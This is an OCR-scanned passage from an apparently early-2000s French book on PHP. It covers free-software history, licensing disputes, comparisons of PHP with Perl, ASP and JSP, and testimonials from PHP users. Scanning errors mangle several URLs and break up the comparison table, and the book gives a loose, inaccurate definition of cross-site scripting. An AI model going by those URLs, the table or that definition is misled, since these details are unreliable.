On estime qu'une centaine de programmeurs participe au developpement de Perl. Les 
programmeurs utilisant Perl seraient 500 000 et les utilisateurs, eux, plusieurs millions. En se 
basant sur les ventes d'ouvrages dedies a chaque langage, les editions O'Reilly estiment que 
Perl est aussi souvent utilise que Java. 

Apache est un projet libre d'envergure ; peut-etre celui qui a demontre le premier qu'un 
logiciel libre pouvait faire jeu egal avec les grandes entreprises de developpement de logiciels. 
II detient aujourd'hui la plus importante part de marche pour les serveurs web (source 
Netcraft), et cela face a des acteurs aussi puissants que Microsoft ou Netscape. En juin 1998, le 
geant de l'informatique IBM annongait soutenir officiellement le groupe Apache. Ce choix 
d'Apache par IBM fut une etape importante dans 1'histoire des logiciels libres. Les imperatifs 
commerciaux et economiques qui president aux decisions dTBM donnaient a ce soutien a 
Apache une valeur toute particuliere. Un logiciel libre pouvait servir les interets du monde 
commercial sans se galvauder ni perdre ses ambitions. 

L'histoire de la FSF n'est pas jonchee seulement de reussites. L'un des principaux echecs de la 
FSF fut de mettre beaucoup trop de temps pour fournir un noyau a son systeme d'exploitation 
(GNU). Cependant, l'une de ses principales reussites fut de fournir une trousse a outils a celui 
qui allait developper le noyau libre le plus connu : Linus Torvalds. C'est en effet grace aux 



La communaute du libre 



logiciels de la FSF que le jeune etudiant de l'universite d'Helsinki a pu developper son propre 
UNIX libre, Linux. Linus Torvalds voulait developper un UNIX pour son ordinateur 
personnel. Apres avoir etabli les premiers elements de son systeme d'exploitation, il mit 
rapidement le code source a la disposition des internautes du monde entier. C'est la que reside 
l'une des particularites les plus importantes de Linux. II est developpe et maintenu par des 
programmeurs du monde entier, grace a l'lnternet. De grands acteurs de l'industrie 
informatique font desormais confiance a Linux (IBM, Sun, Dell, HP, etc.). 



Cathedrale et bazar 

Ayant observe le developpement de Linux, Eric S. Raymond a voulu theoriser ce nouveau 
modele de developpement. Schematiquement, il oppose deux modeles : la cathedrale et le 
bazar. Le modele en cathedrale est un modele classique. C'est celui des entreprises et 
administrations classiques : centralise, tres hierarchise, il met beaucoup de temps a reagir, et les 
decisions sont soumises a de multiples validations. Dans le modele bazar, tout est beaucoup 
plus horizontal, mouvant et flexible. Un modele ouvert et collaboratif comme le bazar permet 
une evolution rapide et pertinente. Chacun est libre de soumettre un correctif ou une 
amelioration, ce qui evite de brider les initiatives. 



La scission : l'Open Source 

Richard Stallman n'a jamais fait l'unanimite dans le monde du logiciel libre. Son dogmatisme et 
ses prises de position fermes etaient vues par beaucoup comme des freins au developpement 
plus rapide du monde du libre, tout particulierement en direction des entreprises. Meme si la 
licence GPL n'interdit pas du tout la commercialisation d'un logiciel libre, la FSF vehiculait une 
image hostile au monde du commerce. D'aucuns pensaient que les idees developpees par la 
FSF nuiraient plus a la croissance de la communaute du libre qu'elles ne la serviraient. De ce 
fait, des programmeurs et d'autres acteurs du logiciel libre deciderent de substituer le terme 
Open Source a celui de Free Software, le terme "free" etant juge trop ambigu (en anglais, il 
designe aussi bien ce qui est gratuit que ce qui est libre). Afin de ne plus effrayer le monde de 
l'entreprise, le mouvement Open Source vit done le jour. On retrouvait a sa tete certains des 
plus prestigieux acteurs du monde du libre comme, par exemple, Bruce Perens (ancien 
mainteneur du systeme d'exploitation Debian http://www.debian.org et fondateur du projet de 
standardisation Linux Standard Base) ou Eric S. Raymond. L'objectif de ce nouveau mouve- 
ment etait clairement exprime : il s'agissait de mieux vendre et promouvoir le logiciel libre. 

II est important de bien comprendre que le courant de l'Open Source et celui des logiciels libres 
ne sont pas antinomiques, mais, qu'au contraire, ils sont complementaires. lis font la promotion 
du logiciel libre dans differentes directions. Toutefois, la FSF voit en l'Open Source un danger 
potentiel pour les logiciels libres. En effet, les points de divergence ne se situent pas seulement 
dans les termes, mais egalement dans les licences, la definition du logiciel libre et 1'utilisation 
qui peut en etre faite. 

Pour qu'un programme soit dit open source, il faut qu'il respecte un certain nombre de criteres 
definis comme suit par le mouvement Open Source. Tout d'abord, le logiciel open source doit 
pouvoir etre librement donne ou vendu, sans que cela entraine l'acquittement d'une redevance 
ou de droits d'auteur, et ce pour tous les utilisateurs de ce logiciel, sans distinctions. Le logiciel 
doit etre distribue avec son code source, qui peut etre modifie ou reutilise par l'utilisateur a 
condition que ce dernier respecte la licence du programme originel. Un logiciel peut etre open 
source meme si sa licence n'autorise pas explicitement la reutilisation de son code source. A ce 
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moment la, la diffusion de patches (fichiers de modification) doit etre autorisee. Une licence 
open source peut egalement demander a ce qu'une version modifiee d'un logiciel n'ait pas le 
meme nom que le logiciel "modele". Elle ne doit pas non plus etablir de discrimination a 
1'encontre de personnes ou de groupes de personnes, ni meme de distinctions relatives aux 
domaines d'utilisation du logiciel (il peut etre commercial ou exploite dans des domaines qui 
sont sujets a debat, comme la recherche genetique par exemple). La licence ne doit pas etre 
limitee a un ensemble de logiciels. Chaque logiciel formant une "suite" doit beneficier de la 
licence open source. C'est la neuvieme clause de la definition officielle de l'Open Source qui 
differencie principalement le mouvement Open Source de celui du logiciel libre. Elle dit : "La 
licence ne doit pas imposer de restrictions a d'autres logiciels distributes avec le programme. Par 
exemple, la licence ne doit pas exiger que tous les programmes distribues sur le meme support 
soient des logiciels open source." Malgre cela, l'Open Source reconnait la GPL comme etant 
compatible avec ses definitions : "La licence GPL est bien conforme a cette clause. Les 
bibliotheques sous licence GPL "containment" seulement les logiciels avec lesquels elles sont 
liees statiquement lors de la compilation, pas les logiciels avec lesquels elles sont distributes" 
(justification de la clause 9 dans la definition de l'Open Source). Meme si la porte reste ouverte, 
la FSF, elle, ne se reconnait pas dans l'Open Source. Elle continue d'affirmer son attachement 
a la portee philosophique du logiciel libre et considere l'Open Source comme "quelque chose 
de proche (mais pas d'identique) au "logiciel libre"(cf. site de la FSF). 

Quelques liens 

La definition de l'Open Source : 
http://www.idealx.Org/fr/doclfr-osdlfr-osd.html#toc1 
La definition du logiciel libre : 
http://www.fsfeurope.org/documents/freesoftware.fr.html 
Licences compatibles avec la definition de l'Open Source : 
http:llwww.idealx.orglfrldoclfr-licenceslfr-licences.html 
Licences compatibles avec la definition de la FSF : 
http://www.gnu.org/licenses/license-list.fr.html 



Le droit et les logiciels libres 

Signe de sa richesse et de sa complexite, le monde du logiciel libre regorge de licences sous 
lesquelles un developpeur peut placer son travail. On compte plus d'une dizaine de licences 
dites "libres" ou apparentees. Pourquoi un tel foisonnement ? Parce que le logiciel libre ne date 
pas d'hier. . . et que les acteurs sont nombreux. Rien n'empeche une entreprise ou un particulier 
de creer sa propre licence se voulant libre. On peut citer les cas de Sun, Netscape, ou Apple, qui 
creerent leurs propres licences. 

Parmi toutes ces licences, on peut tout de meme noter que les plus repandues sont : la GPL et 
la LGPL, la licence FreeBSD ou la MPL. 

PHP est un langage de programmation libre et ouvert. II propose, par exemple, une API 
(Application Programming Interface, une interface de programmation d'applications) qui 
permet a des developpeurs d'ajouter des fonctions au langage. 

Mais, encore une fois, rien n'est simple. Les differentes versions de PHP n'ont pas ete diffusees 
sous la meme licence. PHP 3 a ete diffuse sous licence GPL, tandis que PHP 4 n'est pas 
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compatible avec la GPL. La licence actuelle (2.02) fait de PHP 4 un logiciel libre, mais il n'est 
pas reconnu comme compatible avec la GPL. La FSF encourage l'utilisation de PHP 3, diffuse 
sous GPL. Les responsables de PHP expliquent leur chofx en raison des aspects trop 
contraignants de la GPL. Les developpeurs ont decide de publier PHP 4 sous une licence plus 
souple, pour permettre au PHP d'etre le plus populaire possible. La licence de PHP 4 se 
rapproche de la licence d'Apache (PHP fait partie de la fondation Apache). Autre pomme de 
discorde : le Zend Engine, distribue avec PHP 4. Jusqu'en novembre 2001, le Zend Engine etait 
publie sous une licence QPL, non compatible avec la GPL. Depuis, Zend a change la licence de 
son moteur pour une licence de type BSD, compatible, elle, avec la GPL. 

En tout etat de cause, avant de faire quoi que ce soit avec PHP, lisez attentivement sa licence 
et celle de tout produit connexe que vous utiliseriez, pour savoir s'ils sont compatibles avec ce 
que vous voulez en faire. 




Le texte (en anglais) des licences 

Licence PHP 4 : 



INTERNET http://www.php.netllicensel2_02.txt 

Licence Zend Engine : 
http://www.zend.com/license/2_00.txt 



PHP etle libre 

Et la communaute PHP dans tout 5a ? Comme tout projet libre, PHP beneficie de nombreuses 
contributions apportees par des developpeurs benevoles impliques partout dans le monde. On 
estime a plus de 300 membres la communaute des developpeurs PHP. Projet collaboratif, il tire 
avantage de tous les aspects positifs d'un developpement libre. Les bugs decouverts peuvent 
notamment etre corriges rapidement. 

C'est grace a son ouverture que PHP a pu croitre aussi vite. De par son API, il s'est enrichi de 
nombreuses fonctionnalites comme, par exemple, le support des protocoles les plus utilises sur 
l'internet (comme POP3, IMAP, ou NNTP), un acces aux annuaires LDAP, ou bien encore un 
parseur XML. 

Langage ne pour le Web, PHP dispose d'une communaute en ligne tres active. Le pere de PHP, 
Rasmus Lerdorf, le dit lui-meme : "PHP a ete developpe par la communaute, et non pas par 
moi" (interview a Nexen pour le Journal du Net). D'une certaine maniere, on peut comparer le 
developpement de PHP a celui de Linux. Rasmus Lerdorf a eu le meme role que Linus 
Torvalds. II a initie le mouvement, a pose les premieres bases, puis a permis a des internautes 
d'utiliser sa creation et d'en connaitre le code source. Ces etapes prealables reunies, la creation 
spontanee d'une communaute de developpeurs n'etait plus tres loin. 

De nombreux sites proposent des centaines de scripts au telechargement. Les developpeurs qui 
utilisent PHP n'hesitent pas a faire profiter le reste de la communaute de leurs creations. Que 
ce soit sur des sites "perso" ou des sites connus, un programmeur qui veut mettre en place un 
forum, un site de gestion de contenus, ou meme un freemail (de type Hotmail ou Caramail) ou 
un systeme de knowledge managment trouvera, a coup sur, des programmes en PHP qui 
repondent deja a ses attentes. L'un des premiers reflexes d'un programmeur en PHP qui 
travaille sur un nouveau projet sera d'aller chercher en ligne ce qui a deja ete fait dans son 
domaine, pour s'en inspirer ou pour adapter une solution. Le projet PEAR (PHP Extension 
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and Add-on Repository, ou depot d'extension et d'add-on PHP - pear signifie poire en anglais) 
represente bien 1'esprit open source et "opportuniste" de PHP. Largement inspire du systeme 
CP AN (Comprehensive Perl Archive Network) pour le langage Perl, Pear est une base de 
donnees en ligne de programmes ou d'extensions en PHP. Les developpeurs partagent ainsi 
leurs creations. PHP a su recuperer l'un des aspects les plus interessants du monde Perl. 

La communaute dispose, en plus, du soutien d'entreprises qui participent au developpement de 
PHP, ou qui en sont de fervents supporters. La societe Zend propose de nombreuses solutions 
logicielles autour de PHP, en plus du Zend Engine, interpreteur generique integre a PHP 4. On 
peut egalement citer la societe francaise Nexen, specialisee dans les services Internet, qui, en 
plus de ses activites, soutient activement PHP (hebergement de miroirs, diffusion de 
documentation, etc.). 

Quelques liens 
Pear (en anglais) : 
http://pear.php.net/ 
CPAN (en anglais) : 
http://www.cpan.org 
Interview de Rasmus Lerdorf : 

http://developpeur.journaldunet.com/itws/it jhpnexenjasdortshtm 
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PHP face aux autres langages de script web 

"PHP n'est pas un langage neuf ou revolutionnaire. II emprunte une grande partie de sa syntaxe 
a des langages comme le C, Perl ou Java". Qui est l'auteur de ce jugement definitif sur la 
pretendue revolution ou sur le caractere novateur de PHP ? Bill Gates, Scott McNeally ou 
Larry Wall ? Aucun d'entre eux ! C'est bien le pere de PHP lui-meme, Rasmus Lerdorf, dans 
une interview au journal en ligne Computerworld. Et ce n'est pas tout. Quelle est la difference 
entre PHP et son grand rival proprietaire, ASP, de Microsoft ? II n'y en a pas vraiment. "Au 
fond, ils font les memes choses", n'hesite pas a ajouter Rasmus Lerdorf. Encore un peu, et Ton 
va apprendre que M. Lerdorf code en VisualBasic et qu'il en est tres content... Non, la curee 
s'arrete la. 

Mais Rasmus Lerdorf a raison. PHP n'est pas une revolution a proprement parler et, sur le 
fond, PHP n'apporte rien de bien particulier par rapport a ASP, Java ou Perl. Envoyer des 
mails, generer des pages a la volee, tout cela, PHP le permet tout comme ASP, par exemple. 

Comparer PHP a ses grands rivaux n'est pas toujours chose aisee, voire admissible. Ainsi, la 
comparaison avec Perl n'est pas forcement fondee. Perl est un langage de script, alors que PHP 
est un langage de script fait pour l'lnternet. On ne compare alors qu'une portion de Perl a la 
totalite de PHP. De meme, ASP s'integre de plus en plus dans la plateforme .Net de Microsoft, 
ce qui lui ouvre d'autres horizons. PHP, lui, n'est pas infeode a une plateforme. Idem pour Java. 
Java a ete concu pour evoluer dans une architecture dite "n-tiers", alors que PHP, lui, reste dans 
un environnement "2 tiers" (voir schema). 
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Se servir de Java pour dynamiser un site personnel, cela revient a quelque chose pres a se servir 
d'un lance-flammes pour desherber un parterre de rosiers ! 

Ceci etant dit, il est tout de meme possible de se pencher sur ces langages de script pour voir 
quels sont leurs avantages et leurs inconvenients sur les points qu'ils ont en commun. 

Comparatif PHP/Perl 

Perl est avant tout un langage de script systeme, ne pour remplacer sed et awk. Face a lui : PHP, 
un langage de script ne du Web pour le Web. Les points de comparaison, s'ils existent, ne 
doivent pas faire oublier que Perl n'a pas pour objectif premier la creation de sites web. 

De base, PHP inclut beaucoup plus de bibliotheques que Perl. Pour Perl, il faut souvent aller 
chercher une librairie souhaitee sur CP AN. En revanche, Perl, dispose, au final, de beaucoup 
plus de bibliotheques que PHP. La, PHP fait les frais de son jeune age face a un langage d'age 
deja venerable. Sans parler des librairies, les solutions en Perl sont deja tres nombreuses. 
Toutefois, le dynamisme tout particulier de la communaute PHP est en passe de combler cette 
lacune. 

Langage oriente web, PHP est plus facile a maintenir et a faire evoluer que Perl. Retoucher ou 
adapter rapidement un site tout entier tourne vers Perl reste plus ardu que si le site dispose 
d'une architecture en PHP. 

Perl a aussi su s'adapter au Web. Alors qu'il creait un nouveau processus sur le serveur a chaque 
nouvelle requete, Perl a, depuis, su normaliser ses rapports avec le serveur web. Le probleme a 
en effet ete regie par 1'apparition de mod_perl ou FastCGI. 



Comparatif PHP/ASP 

ASP (Active Server Pages) est un langage de script developpe par Microsoft. PHP et ASP sont 
assez proches dans leur philosophic et dans leur mise en oeuvre. Dans les deux cas, le code du 
script est insere directement dans la page web. Jusqu'a PHP 3, ASP disposait d'un tres net 
avantage sur PHP : PHP ne gerait pas les sessions. Avec l'introduction de cette gestion en mode 
natif dans PHP 4, l'avantage est perdu. Si PHP 3 doit imperativement etre utilise, pour des 
raisons de licence par exemple, il existe de toute fagon des alternatives, comme PHPLib, qui 
permettent de gerer les sessions malgre tout. 

Le gros inconvenient dASP par rapport a PHP reside dans sa tres forte dependance a la 
plateforme Windows. ASP ne se deploie en effet que dans un environnement Microsoft. II 
existe certes un portage sous UNIX, grace a la solution mise en place par Sun avec Chilisoft 
ASP, mais cela reste en deca de ce que peut offrir PHP. PHP n'a pas ete developpe pour une 
plateforme en particulier, ce qui ouvre de bien plus vastes horizons en matiere de portability 
des applications ainsi qu'en evolutivite. PHP fonctionne sous Linux comme sous Windows NT, 
sans avoir a recourir a des programmes tiers. Un script en PHP pourra etre reutilise bien plus 
facilement qu'un script en ASP. 

II a souvent ete reproche a PHP d'accuser des temps de reponse assez longs. Ce point peut etre 
ameliore grace a des solutions logicielles de cache. Zend Accelerator ou PHP Accelerator 
reduisent ainsi nettement les temps de reponse de PHP. 

Autre grosse difference entre PHP et ASP : PHP s'interface en natif avec l'ensemble des 
systemes de gestion de bases de donnees standard du marche, alors qu'ASP doit passer par 
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ODBC. Cette difference peut etre envisagee de deux facons. D'un cote, une meilleure maitrise 
de la base de donnees et peut-etre meme de meilleures performances jouent en faveur de PHP. 
D'un autre cote, les fonctions varient d'une base de donnees a l'autre, ce qui necessite d'adapter 
le code pour chaque base de donnees, alors qu'en theorie, ASP ne demandera que quelques 
modifications. En fait, meme si rien n'est propose en standard, il existe des solutions 
(presentees dans ce livre) de couches d'abstraction pour PHP, mais, surtout, l'implementation 
du langage SQL variant grandement d'un serveur de bases de donnees a l'autre, l'adaptation du 
code en fonction du serveur de bases de donnees est inevitable (c'est d'ailleurs pour cette raison 
que Rasmus Lerdorf n'est pas favorable a l'integration d'une couche d'abstraction dans PHP). 

Aujourd'hui, ASP va tres largement vers .Net, la plateforme "n-tiers" de services web de 
Microsoft. II se rapproche en cela de Java avec J2EE de Sun. De son cote, PHP deviendra de 
plus en plus un langage "serieux", incluant declaration de variable, typage, etc. 

Face a l'ASP, PHP peut egalement jouer la carte du prix. Prenons le cas d'une entreprise qui 
veut developper une solution Microsoft. Windows 2000 Server lui coutera 934 euros, Internet 
Security and Acceleration Server, 8 000 euros, SQL Server 2000 Entreprise Edition, 2 300 
euros, Microsoft Proxy Server, 900 euros et, enfin, la souscription au MSDN, 2 100 euros par 
developpeur. Ce qui fait un total de 14 234 euros. Face a cela, une architecture similaire autour 
de PHP peut etre construite avec Linux, Apache et SSL, PostgreSQL et Squid, le tout pour zero 
euros (hormis le cout de bande-passante requis pour telecharger les produits). Pour une jeune 
entreprise, une telle manne financiere peut se reveler tres utile dans d'autres domaines... 



Comparatif PHP/JSP 

Encore une fois, comparer PHP a JSP est un exercice perilleux. Le principe de fonctionnement 
est un peu different : PHP a ete concu pour s'integrer au code HTML, tandis que JSP est une 
utilisation de Java permettant de faire gerer des scripts integres au code HTML. En fait, une 
page JSP est systematiquement convertie en servlet. Alors que l'execution d'un script PHP est 
composee de l'analyse du document, de la compilation (en opcode) et de l'execution 
proprement dite, celle d'un script JSP est composee de l'analyse du document, de la generation 
de la servlet (qui consiste principalement a convertir le code HTML en appels Java "affichant" 
ce meme code), de la compilation de la servlet et, enfin, de l'execution proprement dite. II est 
possible d'imaginer que c'est la "lourdeur" de ce travail qui fait que les servlets sont 
systematiquement mises en cache (ce qui cree parfois des surprises aux developpeurs 
debutants), alors que l'utilisation de caches n'est qu'optionnelle avec PHP (il est done 
important de tenir compte de cette difference lors d'un comparatif de performances). 

Alors qu'avec PHP, tout passe par l'utilisation de scripts PHP, avec JSP, l'utilisation des scripts 
(scriptlets) doit etre reduite au minimum. Ces scriptlets doivent autant que possible se contenter 
d'appeler des methodes de Beans. Cela presente l'inconvenient de devoir systematiquement 
travailler de front dans deux espaces differents : d'un cote les pages web, de l'autres les Beans. 
Chaque modification entrainera une nouvelle compilation des Beans et, eventuellement, la 
generation d'une nouvelle archive a deployer dans l'espace du serveur. Avec PHP, une simple 
modification du script dans l'espace du serveur suffit. En revanche, la compilation des Beans vous 
assure de ne pas rencontrer de stupides erreurs de syntaxe lors de l'execution du code (probleme 
que Ton rencontrera avec PHP). Mais ce n'est toutefois pas 5a qui vous assurera d'avoir un code 
qui fonctionne (meme s'il est vrai que cela y contribue grandement). En fait, JSP se concoit 
comme un element parmi d'autres dans une architecture J2EE. 

Pour des sites de grande envergure, l'avantage est indiscutable : on peut plus facilement 
partager les taches et les competences d'une equipe sur l'elaboration d'un code en Java. De 



PHP face a ses concurrents (ASP, JSP, etc.) 



meme, 1'architecture "n-tiers" de Java (permettant l'appel d'objets mis a disposition sur un 
serveur distant) offre un eventail de solutions plus large (et avec des solutions plus robustes) 
pour des sites a forte audience et trafic dense. Mais pour aboutir a ce resultat, nombreuses sont 
les normes ou regies de conceptions a respecter ce qui ne facilite pas l'apprentissage du 
langage. II est a noter toutefois que bon nombre de ces regies peuvent tres bien etre appliquees 
a PHP (comme par exemple le modele MVC). Dans ce cas, il est juste de la responsabilite de 
l'equipe de developpeurs de s'imposer ou nous ces choix de conception. 
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Figure 1 .3 : Architecture en "n-tiers" de Java face a PHP 



Via J2EE, Java rend l'eclatement d'une plateforme applicative beaucoup plus facile et simple 
que dans le cas de PHP. Pour PHP, le script doit theoriquement etre execute sur la machine qui 
recoit la requete (traitement du script sur la machine qui heberge le serveur web). Aussi est-il 
plus ardu de mettre en place une structure eclatee, plus modulaire, et tenant de lourdes 
charges. 

L'interfagage avec les bases de donnees s'effectue grace aux pilotes JDBC, ce qui permet de 
communiquer avec tout type de serveur de bases de donnees avec un langage commun, mais, 
comme nous l'avons dit precedemment, ce n'est pas le cas par defaut pour PHP (meme si des 
solutions existent). Toutefois, comme cela a egalement ete dit, le langage SQL varie 
sensiblement d'un serveur de bases de donnees a l'autre, rendant necessaire l'utilisation de 
code dedie (ce qui reduit grandement l'interet d'une telle interface). 

Pour une application specifique, le choix de Java peut se reveler judicieux. Par exemple, on ne 
peut pas parler de veritable pool de connexion en PHP, alors que, pour Java, il est present dans 
le container de EJB-J2EE. Dans le meme esprit, il est possible de partager des Beans en 
commun avec tous les scripts executes (ce que ne propose pas PHP). 

II est a noter que Java a ete concu comme etant oriente objet (comme Smalltalk ou 
ObjectiveC). PHP, lui, n'a pas ete cree pour la programmation objet, mais il est tout de meme 
possible de programmer de la sorte, meme si toutes les proprietes auxquelles nous pourrions 
nous attendre ne sont pas disponibles. Aujourd'hui les choses sont en train de changer, et le 
moteur Zend 2 va plus loin dans le sens de la programmation objet. 

Heureusement, comme pour PHP, il existe des solutions open-source plus ou moins completes 
comme par exemple Tomcat et JBoss. 
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Perspectives 

PHP a pour lui une tres grande facilite d'installation. II est propose de base sur quasiment 
toutes les distributions Linux. De tres nombreux kits d'installation existent, qui permettent de 
faire rapidement ses premiers pas. Ces kits offrent egalement une solution de mise a jour 
pratique et facile a mettre en ceuvre. PHP fait partie de la fondation Apache, ce qui garantit un 
interfagage entre le langage de script et le serveur web, sinon parfait, du moins tenu a jour. 

Comme nous l'avons deja dit a plusieurs reprises, PHP dispose d'une tres large et dynamique 
communaute de developpeurs, et les tutoriels en PHP sont tres nombreux. Entierement 
traduite en francais, la documentation officielle est disponible gratuitement sous de nombreux 
formats. PHP a egalement su s'inspirer des points positifs de ses concurrents. Le CP AN de Perl 
avait ainsi donne naissance a son equivalent PEAR (base de ressources centralisees pour PHP). 

II est tres largement reconnu que PHP est d'une prise en main facile. Sa syntaxe simple permet 
d'approcher beaucoup plus vite de la solution. 

Pour une entreprise, PHP peut egalement etre interessant par son faible cout de deploiement. 
Par rapport a ASP, par exemple, qui sous-entend une plateforme Microsoft avec de 
nombreuses licences a acheter, PHP aligne des equivalences fibres, et bien souvent gratuites, 
tout aussi fonctionnelles. 

Petit point negatif pour PHP, les comparatifs sont bien peu de choses face a une culture 
d'entreprise. Meme si PHP offre, dans certains cas, une solution tout a fait satisfaisante et bien 
meilleur marche, il sera souvent plus simple de lui preferer une solution ASP ou JSP pour des 
raisons historiques propres a l'entreprise. C'est la que PHP peut avoir un caractere 
revolutionnaire. L'adopter, c'est faire confiance a une technologie atypique par son histoire et 
sa portee. C'est la que le plus gros travail reste a faire pour les developpeurs. Si, sur le papier, 
les decideurs informatiques acceptent bien volontiers les avantages de PHP, basculer une 
plateforme vers PHP reste une decision importante. La tendance semble pourtant s'inverser du 
fait du passage de certains grands comptes vers PHP (liberation.fr par exemple) : on fait de plus 
en plus fait confiance au PHP. Cette confiance associee a une recherche d'economie dans le 
monde de l'lnternet font que c'est tout naturellement que PHP depasse ASP en terme d'equi- 
pement de sites web (avril 2002, sur les sites etudies par Netcraft). 

£jk Documentation qfficielPHP 
http://www.php.netldocs.php 
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Enbref 

Pour des langages de script, il est possible de discerner quelques grands facteurs a prendre en 
compte lors du choix de l'un d'entre eux : la facilite d'apprentissage (accessibilite), la puissance 
au regard de la complexite, la portability et l'environnement disponible (ressources en ligne, 
outils, etc.). Pour ASP, PHP, Java, Perl et PHP, la situation peut se resumer comme suit : 



Pourquoi ont-ils choisi PHP ? 



Tableau 1.1 : Tableau comparatif des langages de script 
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ASP 


JSP 


PHP 


Accessibility 
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+ + 




+ + + 
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+ + 


+ + 
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Portability 


+ + 




+ + + 


+ + + 


Environnement 


+ + 


+ + 


+ + + 


+ + + 



Au regard des criteres que nous avons definis, PHP semble bien avoir le plus d'avantages. II 
n'importe pas de savoir si, dans l'absolu, PHP est plus puissant que Java, par exemple. Mais, en 
revanche, il s'agit de savoir si, dans le cas de l'utilisation d'un langage de script pour rendre un 
site web dynamique, l'investissement en temps requis pour maitriser Java est justifiable au 
regard de la facilite d'usage de PHP. Le Jargon frangais definit les objectifs d'un langage de 
script comme suit : "Faire simple, rapide, utilitaire". Dans cette optique, PHP est clairement le 
plus adapte. 

/j4 Le Jargon 

http://www.linux-france.org/prj/jargonf 
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1.5. Pourquoi ont-ils choisi PHP ? 
lis ont choisi PHP 

De nombreuses applications ont deja ete ecrites en PHP et les sites webs ("perso" comme 
professionnels) qui passent au PHP ne se comptent plus. Pourquoi un webmestre fait-il le choix 
de PHP ? Entre ambition de developpement et preference politique, les atouts de PHP sont 
varies. De plus, les performances alignees par PHP dans ses multiples applications grand public 
peuvent egalement seduire. 

Nous avons recueilli les temoignages de deux developpeurs qui ont fait le choix de PHP, pour 
les presenter plus en detail avant de passer a une presentation generate avec l'aide de 
l'Observatoire frangais de PHP. 

Gros plan : Tuxfamily et DaCode 
Tuxfamily, hebergeur independent 

Lance par Julien Ducros, Tuxfamily est un hebergeur de projets libres qui utilise PHP au sein 
de sa plateforme. Agee de trois ans, la structure de Tuxfamily est desormais solide : un systeme 
LVS (Linux Virtual Server) orchestre par deux Load Balancer (N.D.A : repartiteur de charge). 
Toute la plateforme est repliquee et les donnees utilisateurs sont contenues sur un filer central 
de 360 Go en raid 5. Les responsables de Tuxfamily connaissent PHP depuis bien longtemps, a 
l'epoque meme ou Ton parlait encore de PHP/FI. 
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Pourquoi ont-ils choisi PHP ? Principalement pour sa rapidite de mise en oeuvre. Mais ce n'est 
pas tout : "Le langage PHP a aussi ete pour nous un choix politique", explique Pierre Machard. 
II poursuit : "PHP est un logiciel libre de grande qualite. Sa flexibilite et sa polyvalence ont 
motive ce choix. Par exemple, nous pouvons actuellement 1'utiliser indifferemment avec une 
base de donnees MySQL ou Postgres". Pour lui, meme s'il n'offre pas la puissance des CGI, 
PHP est beaucoup plus simple a mettre en oeuvre et a exploiter. Selon Pierre Machard, la 
syntaxe de PHP, proche du C, participe aussi de son succes. Enfin, il est, d'apres lui, ideal pour 
epauler Apache. 

PHP n'est pas pour autant au-dessus de tout soupcon. Comme toute technologie dite 
"dynamique", PHP expose les sites a des attaques par cross site scripting (exploitation d'une faille 
de securite sur un serveur web en entrant des commandes directement dans l'adresse d'une 
page). Pour Tuxfamily, il est necessaire de s'assurer d'avoir la derniere version stable installee. 
Les alertes de securite publiees sont plutot le signe d'une bonne sante de PHP. En tout cas, "une 
rustine est rapidement disponible sur l'lnternet", nous explique Pierre Machard, "ce qui n'est 
pas le cas d'ASP, logiciel proprietaire". Pour un site a fort trafic comme Tuxfamily, PHP dispose 
d'un moteur bien concu qui "n'accapare pas a outrance les ressources des machines, meme s'il 
possede quelques carences", concede Pierre Machard. 

Seul petit bemol adresse a PHP par l'equipe de Tuxfamily : la licence de la derniere version. Les 
version 3.x etaient libres, alors que la licence appliquee a partir de PHP 4.x est plus restrictive 
(voir notre partie sur les licences). 

daCode, moteur de nouvelles 

Createur et webmestre du site d'informations sur Linux et les logiciels libres http://linuxfr.org, 
Fabien Penso a bien voulu nous expliquer pourquoi il avait choisi PHP pour developper daCode, 
le moteur de son site. 

II a rencontre PHP par hasard. Cherchant un langage de script simple pour faire des sites web, 
il a tout naturellement teste PHP. Voulant rendre daCode utilisable par n'importe qui, il a 
choisi PHP pour developper son logiciel, car c'est le langage disponible sur les plateformes 
grand public comme Free ou Multimania. Cela allait dans le sens de sa demarche. L'idee etant 
egalement d'avoir le plus de contributions possibles pour daCode, l'importante communaute 
de developpeurs PHP a joue en faveur du langage libre. II fut un temps question de Perl/ 
mod_perl mais cette solution posait trop de problemes de fuite de memoire. 

Leurs sites 

Tuxfamily, hebergement libre pour gens libres : 
http://www.tuxfamily.org 

Contact : Pierre Machard <pmachard@tuxfamily.org> 
Linuxfr, site d 'information sur Linux et les logiciels libres : 
http://linuxfr.org 

daCode, gestionnaire de contenus open source (GPL) : 
http://www.dacode.org 

Contact : Fabien Penso <penso@linuxfr.org> 
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Pourquoi ont-ils choisi PHP ? 



PHPal'assautduNet 



On ne denombre plus les grands comptes qui se tournent vers PHP. Que ce soit par la petite 
porte, souffle a un directeur informatique par un developpeur, ou dans un plus large panel 
d'offres faites par une webagency, PHP n'est plus un langage neuf ou exotique. Les decideurs 
en informatique lui font de plus en plus confiance. 

Le second trimestre 2002 a vu naitre deux structures paralleles visant a recenser toutes les 
utilisations professionnelles ou industrielles de PHP. L' Association franchise des utilisateurs de 
PHP (AFUP), nee en avril 2002, et l'Observatoire francais de PHP (OFPHP), ne en juin 2002, 
presentent des interviews, des etudes et des listes de sites utilisant PHP. Le surf sur ces sites 
montre a quel point PHP a penetre les hautes spheres du web. 

Sur le site de l'AFUP, on apprend que le quart des entreprises du CAC 40 utilisent PHP pour 
leur site web. Parmi elles, Cap Gemini, PSA Peugeot Citroen, Schneider Electric SA, etc. On le 
voit, pour les grands comptes, le langage de script libre fait tres largement jeu egal avec ASP, 
JAVA ou ColdFusion. 

Du cote de l'OFPHP, la liste des sites utilisant PHP de par le monde, presentee dans la section 
References, est impressionnante : http://sourceforge.net (30 millions de pages visionnees par mois), 
http://www.phpbuilder.com (9 millions de pages par mois) ou encore http://www.insight.com (plus de 2 
milliards $US. de chiffre d'affaire en 2000). Pour la France, citons simplement http://www 
.boursorama.com (14 378 807 visites en juillet 2001 avec une pointe a 9 783 039 pages vues pour la 
seule journee du 17 septembre 2001, jour de la reouverture des marches a Wall Street). L'OF- 
PHP presente egalement des interviews d'acteurs de l'internet qui ont choisi de faire confiance 



au PHP. 
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L 'utilisation de PHP dans les entreprises 

AFUP : le quart des entreprises du CAC 40 utilisent PHP 

http://www.afup.org/article.php37id_article =105 

OFPHP: 

http://www.ofphp.com/index.php?page=references 

ZDNet : les logiciels libres tiennent la charge 
http:l/techupdate.zdnet.fr/story/0„t381-s211 1391.00.html 
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Pour creer un site en PHP, il n'y a pas besoin de beaucoup de choses. Un editeur de texte et 
un serveur web suffisent. 

